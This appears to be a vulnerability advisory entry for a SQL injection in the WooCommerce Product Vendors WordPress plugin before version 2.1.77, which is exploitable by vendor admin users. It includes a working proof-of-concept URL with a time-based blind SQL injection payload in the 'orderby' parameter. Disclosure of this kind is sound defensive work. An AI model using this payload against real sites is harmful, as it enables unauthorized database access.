WooCommerce Product Vendors < 2.1.77 - Vendor Admin+ SQLi

2023-06-2100:00:00

wpvulndb

woocommerce

product vendors

vendor admin

sql injection

url

exploit

EPSS

0.001

Percentile

19.3%

JSON

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as Admin Vendor and above

As an Admin vendor, open the URL below

https://example.com/wp-admin/admin.php?page=wcpv-vendor-orders&orderby=order_id`,(select+sleep(10)+from+dual+where+database()+like+database())--+-

References

patchstack.com/database/vulnerability/woocommerce-product-vendors/wordpress-woocommerce-product-vendors-plugin-2-1-76-vendor-admin-sql-injection-vulnerability

EPSS

0.001

Percentile

19.3%

JSON

Related for WPEX-ID:75464874-B33E-4492-B57C-87A2F91CA9AF